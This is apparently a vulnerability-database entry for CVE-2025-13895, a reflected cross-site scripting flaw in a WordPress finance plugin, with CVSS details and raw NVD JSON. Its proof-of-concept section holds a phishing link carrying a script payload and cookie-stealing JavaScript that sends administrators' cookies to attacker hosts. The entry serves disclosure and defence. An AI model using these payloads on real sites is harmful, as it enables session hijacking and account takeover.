Security Vulnerability Report
中文
CVE-2025-13895 CVSS 6.1 MEDIUM

CVE-2025-13895

Published: 2026-01-09 10:15:46
Last Modified: 2026-04-15 00:35:42

Description

The Top Position Google Finance plugin for WordPress is vulnerable to Reflected Cross-Site Scripting via the `$_SERVER['PHP_SELF']` variable in all versions up to, and including, 0.1.0 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that execute if they can successfully trick a user into performing an action such as clicking on a link.

CVSS Details

CVSS Score
6.1
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N

Configurations (Affected Products)

No configuration data available.

Top Position Google Finance插件 ≤ 0.1.0(所有版本)

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
<!-- CVE-2025-13895 PoC: Reflected XSS in Top Position Google Finance plugin --> <!--诱骗管理员点击以下恶意链接--> <a href="http://target-site.com/wp-admin/admin.php/%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E">查看财务数据</a> <!-- 完整恶意URL示例 --> <!-- http://vulnerable-site.com/wp-admin/admin.php/"><script>fetch('https://attacker.com/steal?c='+document.cookie)</script> --> <!-- 自动化测试payload --> <script> // Cookie窃取脚本 var cookie = document.cookie; var img = new Image(); img.src = 'https://attacker-controlled-server.com/log?cookie=' + encodeURIComponent(cookie); </script>

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-13895", "sourceIdentifier": "[email protected]", "published": "2026-01-09T10:15:45.943", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The Top Position Google Finance plugin for WordPress is vulnerable to Reflected Cross-Site Scripting via the `$_SERVER['PHP_SELF']` variable in all versions up to, and including, 0.1.0 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that execute if they can successfully trick a user into performing an action such as clicking on a link."}, {"lang": "es", "value": "El plugin Top Position Google Finance para WordPress es vulnerable a Cross-Site Scripting Reflejado a través de la variable `$_SERVER['PHP_SELF']` en todas las versiones hasta la 0.1.0, inclusive, debido a una sanitización de entrada y un escape de salida insuficientes. Esto permite que atacantes no autenticados inyecten scripts web arbitrarios en páginas que se ejecutan si logran engañar a un usuario para que realice una acción como hacer clic en un enlace."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N", "baseScore": 6.1, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/browser/top-position-google-finance/trunk/top-position-google-finance.php#L56", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/top-position-google-finance/trunk/top-position-google-finance.php#L78", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/fcbf81f8-8b33-4b83-91fb-626b7b5f3bb2?source=cve", "source": "[email protected]"}]}}